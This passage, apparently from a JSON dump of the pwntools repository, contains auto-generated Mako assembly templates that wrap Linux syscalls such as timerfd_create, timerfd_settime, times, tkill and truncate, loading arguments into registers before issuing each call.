['SYS_timerfd'])\n%>\n    /* timerfd(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timerfd_create.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timerfd_create(clock_id, flags) -> str\n\nInvokes the syscall timerfd_create.\n\nSee 'man 2 timerfd_create' for more information.\n\nArguments:\n    clock_id(clockid_t): clock_id\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"clock_id=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['clock_id', 'flags']\n    argument_values = [clock_id, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timerfd_create']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timerfd_create'])\n%>\n    /* timerfd_create(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timerfd_gettime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timerfd_gettime(ufd, otmr) -> str\n\nInvokes the syscall timerfd_gettime.\n\nSee 'man 2 timerfd_gettime' for more information.\n\nArguments:\n    ufd(int): ufd\n    otmr(itimerspec*): otmr\nReturns:\n    int\n</%docstring>\n<%page args=\"ufd=0, otmr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ufd', 'otmr']\n    argument_values = [ufd, otmr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timerfd_gettime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timerfd_gettime'])\n%>\n    /* timerfd_gettime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timerfd_gettime64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timerfd_gettime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall timerfd_gettime64.\n\nSee 'man 2 timerfd_gettime64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timerfd_gettime64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timerfd_gettime64'])\n%>\n    /* timerfd_gettime64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timerfd_settime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timerfd_settime(ufd, flags, utmr, otmr) -> str\n\nInvokes the syscall timerfd_settime.\n\nSee 'man 2 timerfd_settime' for more information.\n\nArguments:\n    ufd(int): ufd\n    flags(int): flags\n    utmr(itimerspec*): utmr\n    otmr(itimerspec*): otmr\nReturns:\n    int\n</%docstring>\n<%page args=\"ufd=0, flags=0, utmr=0, otmr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ufd', 'flags', 'utmr', 'otmr']\n    argument_values = [ufd, flags, utmr, otmr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timerfd_settime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timerfd_settime'])\n%>\n    /* timerfd_settime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timerfd_settime64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timerfd_settime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall timerfd_settime64.\n\nSee 'man 2 timerfd_settime64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timerfd_settime64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timerfd_settime64'])\n%>\n    /* timerfd_settime64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/times.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>times(buffer) -> str\n\nInvokes the syscall times.\n\nSee 'man 2 times' for more information.\n\nArguments:\n    buffer(tms*): buffer\nReturns:\n    clock_t\n</%docstring>\n<%page args=\"buffer=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['buffer']\n    argument_values = [buffer]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_times']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_times'])\n%>\n    /* times(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/tkill.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>tkill(tid, sig) -> str\n\nInvokes the syscall tkill.\n\nSee 'man 2 tkill' for more information.\n\nArguments:\n    tid(int): tid\n    sig(int): sig\nReturns:\n    int\n</%docstring>\n<%page args=\"tid=0, sig=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['tid', 'sig']\n    argument_values = [tid, sig]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_tkill']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_tkill'])\n%>\n    /* tkill(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/truncate.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>truncate(file, length) -> str\n\nInvokes the syscall truncate.\n\nSee 'man 2 truncate' for more information.\n\nArguments:\n    file(char*): file\n    length(off_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'length']\n    argument_values = [file, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_truncate']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_truncate'])\n%>\n    /* truncate(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/truncate64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>truncate64(file, length) -> str\n\nInvokes the syscall truncate64.\n\nSee 'man 2 truncate64' for more information.\n\nArguments:\n    file(char*): file\n    length(off64_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'length']\n    argument_values = [file, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_truncate64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_truncate64'])\n%>\n    /* truncate64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
